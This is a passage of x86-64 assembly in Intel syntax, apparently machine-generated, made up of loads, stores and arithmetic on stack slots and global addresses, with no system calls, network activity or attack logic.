movzx eax, word [rsp + 0x1b3c]
movzx ecx, word [0x1402c7500]
sub eax, ecx
mov word [rsp + 0x1a08], ax
lea rax, [rsp + 0x263]
mov qword [rsp + 0x10318], rax
movsx eax, byte [rsp + 0x295]
movsx ecx, byte [rsp + 0x9b]
sub eax, ecx
mov byte [rsp + 0x1a2], al
mov eax, dword [rsp + 0x7044]
mov dword [rsp + 0x7200], eax
mov eax, dword [rsp + 0x70d4]
mov ecx, dword [0x1402c7498]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe1f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcfc8]
mov rcx, qword [rsp + 0xd5d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcde0], rax
mov rax, qword [rsp + 0xbfa0]
mov rax, qword [rax]
mov qword [rsp + 0x10320], rax
mov rax, qword [rsp + 0xd8f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b74]
sub eax, ecx
mov word [0x1402c7670], ax
mov rax, qword [rsp + 0xf788]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc088]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1a78], ax
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x10328], rax
movzx eax, word [rsp + 0x1bf8]
movzx ecx, word [rsp + 0x1624]
shl eax, cl
mov word [rsp + 0x1ae0], ax
mov rax, qword [rsp + 0xd118]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf638]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x101c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x7054]
mov dword [rsp + 0x7204], eax
mov eax, dword [rsp + 0x70ac]
mov rcx, qword [rsp + 0xdf10]
mov qword [rsp + 0x10330], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10330]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xe6f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd5d0]
mov qword [rsp + 0x10338], rax
mov rax, qword [rsp + 0xef10]
mov rcx, qword [rsp + 0xc480]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfd0], rax
mov rax, qword [rsp + 0xf338]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xde80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c9147], al
movzx eax, word [rsp + 0x17d4]
mov word [rsp + 0x1e48], ax
movsx eax, byte [rsp + 0xf2]
movsx ecx, byte [0x1402c90b5]
add eax, ecx
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0x10158]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1acc]
sub eax, ecx
mov word [rsp + 0x1d34], ax
mov rax, qword [rsp + 0xc190]
movzx eax, byte [rax]
mov byte [rsp + 0x2b2], al
mov rax, qword [rsp + 0xee18]
mov rcx, qword [rsp + 0xcdb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd810], rax
mov rax, qword [rsp + 0xd238]
mov rax, qword [rax]
mov qword [rsp + 0x10340], rax
mov rax, qword [rsp + 0xf9d8]
mov rcx, qword [rsp + 0xeb28]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xef20]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf4b0]
mov eax, dword [rax]
mov ecx, dword [0x1402c7498]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f20], eax
lea rax, [rsp + 0x1918]
mov qword [0x1402c9998], rax
mov rax, qword [rsp + 0x10008]
movzx eax, word [rax]
mov word [rsp + 0x1e4c], ax
movzx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0xfeb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x121], al
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x10348], rax
mov rax, qword [rsp + 0xd898]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xfb88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10e], al
mov rax, qword [rsp + 0xbd50]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe998], rax
lea rax, [rsp + 0xe330]
mov qword [rsp + 0x10350], rax
mov rax, qword [rsp + 0x102f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x71c0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe340]
mov dword [rcx], eax
lea rax, [0x1402c90a0]
mov qword [rsp + 0x10358], rax
mov rax, qword [rsp + 0xfbc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf250]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1402c7620], ax
mov rax, qword [rsp + 0xdb38]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xed78]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0xc590]
movzx eax, byte [rax]
mov byte [rsp + 0x2b3], al
movsx eax, word [rsp + 0x1874]
mov rcx, qword [rsp + 0xc3d8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x15c0], ax
movsx eax, byte [rsp + 0x176]
movsx ecx, byte [rsp + 0x116]
and eax, ecx
mov byte [rsp + 0x8e], al
mov eax, dword [rsp + 0x69fc]
mov dword [rsp + 0x7208], eax
mov rax, qword [rsp + 0xe7b8]
mov rcx, qword [rsp + 0xbd88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd870], rax
mov rax, qword [rsp + 0xf3c8]
mov qword [rsp + 0x10360], rax
mov eax, dword [rsp + 0x6f44]
mov ecx, dword [rsp + 0x7098]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6de4], eax
mov rax, qword [rsp + 0xeb98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc430]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c9160]
mov byte [rcx], al
mov rax, qword [rsp + 0xe068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xca98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x177c], ax
lea rax, [rsp + 0x15b]
mov qword [rsp + 0x10368], rax
mov rax, qword [rsp + 0xcbf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x158c]
add eax, ecx
mov rcx, qword [rsp + 0xe4c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xfdc8]
movzx eax, word [rax]
mov word [rsp + 0x1e50], ax
mov rax, qword [rsp + 0xf100]
mov rcx, qword [rsp + 0xfe68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x715c], eax
mov rax, qword [rsp + 0xeb10]
mov rcx, qword [rsp + 0x10238]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd658]
mov qword [rcx], rax
lea rax, [rsp + 0x69fc]
mov qword [rsp + 0x10370], rax
mov rax, qword [rsp + 0xe698]
mov rcx, qword [rsp + 0xef98]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd870], rax
lea rax, [rsp + 0x1690]
mov qword [0x1402c99a0], rax
mov rax, qword [rsp + 0xe940]
movzx eax, word [rax]
mov word [rsp + 0x1e54], ax
mov rax, qword [rsp + 0xbc78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1cb]
add eax, ecx
mov byte [rsp + 0x1e8], al
movzx eax, word [rsp + 0x1a20]
movzx ecx, word [rsp + 0x18ec]
or eax, ecx
mov word [rsp + 0x1b74], ax
mov rax, qword [rsp + 0xead0]
movzx eax, byte [rax]
mov byte [rsp + 0x2b4], al
mov rax, qword [rsp + 0xf290]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xc628]
idiv dword [rcx]
mov rcx, qword [rsp + 0xfd08]
mov dword [rcx], eax
lea rax, [rsp + 0x6eec]
mov qword [rsp + 0x10378], rax
mov rax, qword [rsp + 0xef48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe888]
mov qword [rsp + 0x10380], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10380]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xf3e8], rax
mov rax, qword [rsp + 0xf248]
mov qword [rsp + 0x10388], rax
lea rax, [rsp + 0x195c]
mov qword [0x1402c99a8], rax
movsx eax, byte [rsp + 0xc3]
movsx ecx, byte [rsp + 0x238]
xor eax, ecx
mov byte [rsp + 0x279], al
movsx eax, word [rsp + 0x1df0]
movsx ecx, word [rsp + 0x1bcc]
sar eax, cl
mov rcx, qword [rsp + 0xe9e8]
mov word [rcx], ax
lea rax, [rsp + 0x104]
mov qword [rsp + 0x10390], rax
mov rax, qword [rsp + 0xff88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xef]
and eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0xf0f0]
mov qword [rsp + 0x10398], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xe248]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xccd8], rax
mov rax, qword [rsp + 0xc5d0]
mov ecx, dword [rsp + 0x7170]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd7c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7054]
mov dword [rsp + 0x720c], eax
movsx eax, word [0x1402c7628]
movsx ecx, word [rsp + 0x1998]
sub eax, ecx
mov rcx, qword [rsp + 0xf0d0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2b2]
mov rcx, qword [rsp + 0x10390]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74e2], al
lea rax, [0x1402c757a]
mov qword [rsp + 0x103a0], rax
mov rax, qword [rsp + 0xf758]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18b4]
sub eax, ecx
mov rcx, qword [rsp + 0xece0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1758]
movsx ecx, word [rsp + 0x1698]
add eax, ecx
mov word [rsp + 0x1668], ax
lea rax, [rsp + 0xeaa0]
mov qword [rsp + 0x103a8], rax
mov rax, qword [rsp + 0xd0d0]
mov ecx, dword [rsp + 0x71d4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xfc40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xeca0]
mov rax, qword [rax]
mov qword [rsp + 0x103b0], rax
mov rax, qword [rsp + 0xed50]
mov rcx, qword [rsp + 0xd048]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6b00], eax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x103b8], rax
movzx eax, byte [rsp + 0x237]
movzx ecx, byte [rsp + 0x287]
sub eax, ecx
mov byte [0x1402c7587], al
mov rax, qword [rsp + 0xea50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bd0]
cdq
idiv ecx
mov rcx, qword [rsp + 0xda80]
mov word [rcx], ax
mov rax, qword [rsp + 0xd268]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
sar eax, cl
mov word [rsp + 0x1908], ax
movzx eax, byte [rsp + 0x12c]
mov byte [rsp + 0x2b5], al
mov rax, qword [rsp + 0xc3e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ffc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xf8d8]
mov dword [rcx], eax
lea rax, [rsp + 0xda28]
mov qword [rsp + 0x103c0], rax
mov rax, qword [rsp + 0xe308]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc120]
shl rax, cl
mov rcx, qword [rsp + 0xeeb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xfe00]
mov ecx, dword [rsp + 0x6bf4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xf068]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf400]
movzx eax, byte [rax]
mov byte [rsp + 0x2b6], al
movsx eax, byte [rsp + 0x1d5]
mov rcx, qword [rsp + 0xde80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c9147], al
mov rax, qword [0x1402c9768]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcb18]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1bac], ax
movzx eax, byte [rsp + 0x65]
mov byte [rsp + 0x2b7], al
movsx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0xd138]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1db4], ax
mov rax, qword [rsp + 0xd1d0]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf940], rax
mov rax, qword [rsp + 0xcc98]
mov rax, qword [rax]
mov qword [rsp + 0x103c8], rax
mov eax, dword [rsp + 0x70fc]
mov ecx, dword [rsp + 0x6d50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7090], eax
mov rax, qword [rsp + 0xcf08]
mov eax, dword [rax]
mov dword [rsp + 0x7210], eax
movzx eax, byte [rsp + 0x26f]
mov rcx, qword [rsp + 0xbfb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdd08]
mov byte [rcx], al
movzx eax, word [rsp + 0x199c]
mov word [0x1402c99b0], ax
movsx eax, byte [0x1402c751b]
movsx ecx, byte [rsp + 0x90]
sub eax, ecx
mov byte [rsp + 0x84], al
mov rax, qword [rsp + 0x100a0]
movzx eax, word [rax]
mov word [rsp + 0x1e58], ax
movzx eax, word [rsp + 0x1de8]
movzx ecx, word [rsp + 0x1e58]
add eax, ecx
mov word [rsp + 0x1bc0], ax
lea rax, [rsp + 0x154]
mov qword [rsp + 0x103d0], rax
mov rax, qword [rsp + 0xe4a8]
mov ecx, dword [rsp + 0x7190]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xfed8]
mov dword [rcx], eax
lea rax, [rsp + 0xbce0]
mov qword [rsp + 0x103d8], rax
mov rax, qword [rsp + 0xd818]
mov rcx, qword [rsp + 0xdc80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6ac8], eax
mov rax, qword [rsp + 0xe9b0]
mov rcx, qword [rsp + 0xf990]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xdd00], rax
mov rax, qword [rsp + 0x103a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xf478]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1402c9250]
mov byte [rcx], al
lea rax, [rsp + 0x15b8]
mov qword [rsp + 0x103e0], rax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc3a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1650], ax
lea rax, [rsp + 0xee]
mov qword [rsp + 0x103e8], rax
mov rax, qword [0x1402c9848]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14d]
cdq
idiv ecx
mov byte [rsp + 0x117], al
mov rax, qword [rsp + 0xf500]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x69ac]
shr eax, cl
mov dword [rsp + 0x6b18], eax
mov rax, qword [rsp + 0xce80]
mov qword [rsp + 0x103f0], rax
mov rax, qword [rsp + 0xde88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe9f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xfb80], rax
lea rax, [rsp + 0x6e38]
mov qword [rsp + 0x103f8], rax
movsx eax, word [rsp + 0x1598]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402c98e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cc8]
sub eax, ecx
mov rcx, qword [rsp + 0xc0d0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0x213]
and eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0xd5a8]
movzx eax, word [rax]
mov word [rsp + 0x1e5c], ax
mov rax, qword [0x1402c9158]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe9a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1df0], ax
lea rax, [rsp + 0x71e4]
mov qword [rsp + 0x10400], rax
mov rax, qword [rsp + 0xd888]
mov rcx, qword [rsp + 0xe1c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc150]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd0d0]
mov rcx, qword [rsp + 0x10000]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7160], eax
mov rax, qword [rsp + 0xcb10]
mov qword [rsp + 0x10408], rax
lea rax, [rsp + 0x7a]
mov qword [0x1402c99b8], rax
movsx eax, word [rsp + 0x1b7c]
movsx ecx, word [rsp + 0x1a8c]
add eax, ecx
mov word [rsp + 0x1d64], ax
mov rax, qword [rsp + 0xd610]
movzx eax, word [rax]
mov word [rsp + 0x1e60], ax
mov rax, qword [rsp + 0xe630]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x20b]
sub eax, ecx
mov rcx, qword [rsp + 0xe060]
mov byte [rcx], al
lea rax, [rsp + 0x201]
mov qword [rsp + 0x10410], rax
mov eax, dword [rsp + 0x7174]
mov ecx, dword [rsp + 0x70c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7180], eax
mov rax, qword [rsp + 0xd448]
mov rcx, qword [rsp + 0xfa28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1b8], rax
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
mov dword [rsp + 0x7214], eax
mov rax, qword [rsp + 0x10028]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10268]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1d08]
mov rcx, qword [rsp + 0xdf60]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1402c7674], ax
mov rax, qword [rsp + 0xc8e0]
movzx eax, word [rax]
mov word [rsp + 0x1e64], ax
movsx eax, byte [rsp + 0xfb]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x7e], al
mov rax, qword [rsp + 0xc9d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdd70]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd088]
mov byte [rcx], al
movzx eax, byte [rsp + 0xfa]
mov byte [rsp + 0x2b8], al
mov rax, qword [rsp + 0xf178]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbf98]
mov qword [rsp + 0x10418], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10418]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x10360], rax
mov eax, dword [rsp + 0x6d6c]
mov dword [rsp + 0x7218], eax
mov rax, qword [rsp + 0xc290]
mov rcx, qword [rsp + 0xfea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xdc80]
mov dword [rcx], eax
mov rax, qword [rsp + 0xca48]
mov rcx, qword [rsp + 0x103f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc150]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe318]
movzx eax, word [rax]
mov rcx, qword [0x1402c9768]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c766c], ax
movzx eax, byte [rsp + 0xfb]
mov byte [rsp + 0x2b9], al
movsx eax, word [rsp + 0x1c4c]
movsx ecx, word [rsp + 0x154c]
and eax, ecx
mov word [rsp + 0x1b90], ax
movzx eax, byte [rsp + 0x1a2]
mov byte [rsp + 0x2ba], al
mov rax, qword [rsp + 0xc4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1780]
sub eax, ecx
mov word [rsp + 0x1578], ax
lea rax, [rsp + 0x6d04]
mov qword [rsp + 0x10420], rax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe998]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf10], rax
mov rax, qword [rsp + 0xd838]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe020]
mov qword [rcx], rax
lea rax, [rsp + 0x6e28]
mov qword [rsp + 0x10428], rax
movsx eax, word [rsp + 0x15ec]
mov rcx, qword [0x1402c9130]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c7678], ax
movsx eax, byte [rsp + 0x11f]
movsx ecx, byte [rsp + 0xc7]
sub eax, ecx
mov rcx, qword [rsp + 0xf318]
mov byte [rcx], al
movzx eax, word [rsp + 0x171c]
mov word [rsp + 0x1e68], ax
movzx eax, byte [rsp + 0x254]
movzx ecx, byte [0x1402c74cb]
sar eax, cl
mov byte [rsp + 0x18a], al
mov rax, qword [rsp + 0xd4c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x26e]
xor eax, ecx
mov rcx, qword [rsp + 0xc618]
mov byte [rcx], al
mov rax, qword [rsp + 0xba88]
mov rax, qword [rax]
mov qword [rsp + 0x10430], rax
mov rax, qword [rsp + 0xd700]
mov rcx, qword [0x1402c90a8]
mov qword [rsp + 0x10438], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10438]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xe5c0], rax
mov eax, dword [rsp + 0x6b00]
mov dword [rsp + 0x721c], eax
mov rax, qword [rsp + 0xebc8]
mov ecx, dword [rsp + 0x6bd8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6fe8], eax
movsx eax, word [0x1402c7550]
mov rcx, qword [rsp + 0x10200]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1402c9438]
mov word [rcx], ax
mov rax, qword [rsp + 0xc470]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd540]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xfa48]
mov byte [rcx], al
lea rax, [rsp + 0x1a8c]
mov qword [rsp + 0x10440], rax
mov rax, qword [0x1402c93c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xfc38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc2e8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1be8]
mov word [rsp + 0x1e6c], ax
mov rax, qword [rsp + 0x10018]
mov rcx, qword [rsp + 0xbb40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10018]
mov qword [rcx], rax
mov rax, qword [rsp + 0xfd38]
mov eax, dword [rax]
mov ecx, dword [0x1402c7498]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd4], eax
mov rax, qword [rsp + 0xda50]
mov rax, qword [rax]
mov qword [rsp + 0x10448], rax
mov rax, qword [rsp + 0xed98]
mov ecx, dword [rsp + 0x6ec8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xddf0]
mov dword [rcx], eax
lea rax, [rsp + 0x158]
mov qword [rsp + 0x10450], rax
lea rax, [rsp + 0x1ec]
mov qword [0x1402c99c0], rax
movzx eax, word [rsp + 0x17a0]
mov rcx, qword [rsp + 0xe218]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x17e0], ax
lea rax, [rsp + 0x1e30]
mov qword [rsp + 0x10458], rax
mov rax, qword [rsp + 0xfb10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf580]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0xdc88]
mov ecx, dword [rsp + 0x7164]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c20], eax
mov rax, qword [rsp + 0xe7c8]
mov qword [rsp + 0x10460], rax
mov eax, dword [rsp + 0x69cc]
mov ecx, dword [rsp + 0x6c80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6db4], eax
mov rax, qword [rsp + 0xd978]
mov qword [rsp + 0x10468], rax
movsx eax, word [rsp + 0x1984]
movsx ecx, word [rsp + 0x198c]
sub eax, ecx
mov word [rsp + 0x1c4c], ax
movzx eax, word [rsp + 0x1c1c]
mov rcx, qword [rsp + 0xd570]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1402c9700]
mov word [rcx], ax
movsx eax, word [rsp + 0x1840]
mov rcx, qword [rsp + 0xc230]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1cec], ax
mov rax, qword [rsp + 0xe2d0]
movzx eax, byte [rax]
mov byte [rsp + 0x2bb], al
movzx eax, word [rsp + 0x1d94]
movzx ecx, word [rsp + 0x1e68]
or eax, ecx
mov rcx, qword [rsp + 0xd938]
mov word [rcx], ax
lea rax, [rsp + 0x6f24]
mov qword [rsp + 0x10470], rax
mov rax, qword [rsp + 0xf410]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1402c7490]
shl rax, cl
mov qword [rsp + 0xf728], rax
mov eax, dword [rsp + 0x6f7c]
imul eax, dword [rsp + 0x6c24]
mov dword [rsp + 0x6d24], eax
mov rax, qword [rsp + 0xd380]
mov qword [rsp + 0x10478], rax
movzx eax, byte [0x1402c7532]
movzx ecx, byte [rsp + 0x17f]
and eax, ecx
mov byte [rsp + 0x1d7], al
mov rax, qword [rsp + 0xc1e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd958]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c758a], al
movzx eax, word [rsp + 0x15b8]
mov word [rsp + 0x1e70], ax
movzx eax, word [0x1402c7508]
mov rcx, qword [rsp + 0xcd58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d94], ax
movzx eax, byte [rsp + 0x107]
mov byte [rsp + 0x2bc], al
mov rax, qword [rsp + 0xe408]
mov ecx, dword [rsp + 0x6cc0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6efc], eax
mov rax, qword [rsp + 0xdf48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x709c], eax
mov rax, qword [rsp + 0xc6e0]
mov rax, qword [rax]
mov qword [rsp + 0x10480], rax
mov rax, qword [rsp + 0xf388]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xf3c8], rax
lea rax, [rsp + 0x91]
mov qword [rsp + 0x10488], rax
mov rax, qword [rsp + 0xde48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe540]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402c75fc], ax
mov rax, qword [rsp + 0xeb68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xefc8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1bfc], ax
mov rax, qword [rsp + 0xdc68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x125]
add eax, ecx
mov byte [rsp + 0x193], al
lea rax, [rsp + 0x1d5]
mov qword [rsp + 0x10490], rax
mov rax, qword [rsp + 0xe450]
movzx eax, word [rax]
mov rcx, qword [0x1402c95e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe218]
mov word [rcx], ax
lea rax, [rsp + 0x7130]
mov qword [rsp + 0x10498], rax
mov rax, qword [rsp + 0xe240]
mov rcx, qword [rsp + 0xd380]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xf610], rax
mov rax, qword [rsp + 0xfa50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xf868]
mov qword [rsp + 0x104a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x104a0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x69f8], eax
mov rax, qword [rsp + 0xc1f8]
mov rax, qword [rax]
mov qword [rsp + 0x104a8], rax
movsx eax, byte [rsp + 0xa0]
mov rcx, qword [rsp + 0xe168]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402c749e], al
movzx eax, byte [0x1402c74ca]
movzx ecx, byte [rsp + 0xb0]
shl eax, cl
mov rcx, qword [rsp + 0xfda0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [rsp + 0x1e74], ax
movzx eax, word [rsp + 0x1b40]
mov rcx, qword [rsp + 0xe670]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd160]
mov word [rcx], ax
mov rax, qword [rsp + 0xfc38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd4c8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xca90]
mov byte [rcx], al
lea rax, [rsp + 0xccd8]
mov qword [rsp + 0x104b0], rax
mov rax, qword [rsp + 0xd010]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ea4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc380]
mov dword [rcx], eax
lea rax, [rsp + 0xbe48]
mov qword [rsp + 0x104b8], rax
mov eax, dword [rsp + 0x6d64]
mov ecx, dword [rsp + 0x6ebc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xf110]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10200]
movzx eax, word [rax]
mov word [0x1402c99c8], ax
movzx eax, word [rsp + 0x15e8]
mov word [rsp + 0x1e78], ax
mov rax, qword [0x1402c9210]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcec8]
